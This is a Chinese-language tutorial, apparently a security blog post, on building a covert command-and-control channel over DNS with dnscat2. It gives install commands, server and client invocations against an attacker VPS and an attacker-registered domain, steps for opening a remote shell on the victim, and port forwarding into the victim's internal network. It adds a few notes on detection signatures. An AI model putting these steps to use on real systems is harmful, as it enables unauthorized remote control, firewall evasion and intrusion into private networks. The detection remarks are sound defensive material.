DNS基礎介紹
定義
域名解析是把域名指向網站空間IP,讓人們通過注冊的域名可以方便地訪問到網站的一種服務。IP地址是網絡上標識站點的數字地址,為了方便記憶,采用域名來代替IP地址標識站點地址。域名解析就是域名到IP地址的轉換過程,域名的解析工作由DNS服務器完成
Dnscat2
dnscat2是一個DNS隧道工具,通過DNS協議創建加密的命令和控制通道,它的一大特色就是服務端會有一個命令行控制臺,所有的指令都可以在該控制臺內完成
場景
一般防火墻不會阻斷,應用在防火墻上對其它流量封禁的場景
Dnscat2測試
Dnscat2測試-下載安裝
本次以dnscat2工具測試遠控目標主機,下載安裝方式如下,分為客戶端和服務端,服務端是攻擊機器,測試使用攻擊者控制的vps,客戶端是被控端,即控制的目標。
Server:
# yum install rubygems
# gem install bundler
# git clone https://github.com/iagox86/dnscat2.git
# cd dnscat2/server
# bundle install
Client:
# git clone https://github.com/iagox86/dnscat2.git
# cd dnscat2/client
# make
Dnscat2測試-服務端
以ruby執行dnscat2.rb,默認執行有個默認秘鑰,也可以用-c參數手動指定
Dnscat2測試-客戶端
指定連接服務端,--secret指定與上述秘鑰一致
Dnscat2測試-會話建立
當客戶端執行時會話建立,利用help命令可以查看幫助,sessions命令可以查看建立的會話
session -i 可以進入會話,進入會話后help可查看對應的操作
Dnscat2測試-命令執行
1、在進入會話后輸入shell執行命令,這時會提示shell session created,即新建了一個shell會話。
2、Ctrl+Z退出當前會話,通過sessions命令查看會話信息,再次利用session -i 進入新建的shell會話,即可執行shell命令
Dnscat2測試-通信流量
利用wireshark查看終端通信流量,走的DNS協議,可以看到直接跟攻擊者ip通信
DNS隧道
通過上面基本測試,可以看到特征明顯,很容易被檢測發現,上文提到默認的 dnscat 查詢中包含了dnscat 字符串,這個可以作為防火墻和入侵檢測的特征,此外由于被控終端是直接指定的外聯dns解析服務器IP,導致攻擊者機器暴露,只需要防火墻上限制只允許與受信任的 DNS 服務器通信即可防范。
這節我們介紹另一種利用方式,dns隧道。
DNS隧道
1、DNS 隧道是 C&C 常用的通信方式,一般常用的編碼方式 Base64、Binary、Hex 編碼等,請求的 Type 一般為 TXT(為了返回的時候能夠加入更多的信息),payload 部分一般為子域名
2、根據木馬工作原理的不同,將 DNS隧道細分為IP直連型和域名型
上述介紹的其實就是IP直連型,下圖為域名型dns隧道,典型的特征是受控終端DNS請求會先發往本地dns服務器解析,然后本地dns服務器再向外解析,最終找到攻擊者控制的dns服務器,進而很好的保護了攻擊者控制的dns服務端,從受害者終端流量只能看到受害終端與本地dns服務器的流量
域名型DNS隧道
DNS隧道測試
1、首先需要自己注冊一個域名,筆者在阿里云買的,有便宜的幾塊錢1年,然后配置NS記錄和A記錄,域名解析服務器直接用的就是vps IP
2、服務端運行dnscat2,這是指向的是域名而不是前面測試直接寫的ip,客戶端一樣
Server:ruby ./dnscat2.rb c.xxxxxx.top -e open -c 123456 --no-cache
Client:./dnscat --secret=123456 c.xxxxxx.top
服務端
客戶端
dnscat2參數定義:
-c 參數定義了 pre-shared secret,可以使用具有預共享密鑰的身份驗證來防止中間人(man-in-the-middle)攻擊,否則傳輸數據并未加密,有可能被監聽網絡流量的第三方還原;如果不加定義,Dnscat2會生成一個字符串,記得拷貝下來在啟動客戶端時使用。
-e 參數可以規定安全級別, open 代表讓客戶端進行選擇。
--no-cache 請務必在運行服務器時添加無緩存選項,因為 powershell-dnscat2 客戶端與 dnscat2 服務器的 caching 模式不兼容。
DNS隧道流量
通過這種方式再看終端通信流量,發現目的IP就不是攻擊者域名服務器ip了,而是本地域名服務器ip,很好的隱藏了攻擊者機器,同時域名請求記錄中也沒有了dnscat關鍵字。
DNS Tunnel利用
這節講下dns tunnel利用,當上述遠控連接建立成功后,可以利用dns tunnel進一步對目標內網實施攻擊。
1、在shell會話里查看目標ip,可以看到存在內網10段,當前主機為10.0.0.10,利用arp 命令可以看到內網段還存在其它主機,例如10.0.0.30
2、回到command會話,可以看到listen命令,利用listen命令將內網段主機端口22轉發到攻擊者vps本地6666
3、在vps本地連接轉發出來的端口6666即可訪問到目標內網的其它主機
小結
實戰中由于防護墻防護,利用DNS實施遠控的場景很多,像典型的APT攻擊中經常可見,關于DNS流量監測與阻斷任重而道遠。引用網上的一篇文章《從OilRig APT攻擊分析惡意DNS流量阻斷在企業安全建設中的必要性》。地址:https://mp.weixin.qq.com/s/dMbhTDLrXpBsVpPwdsDRrQ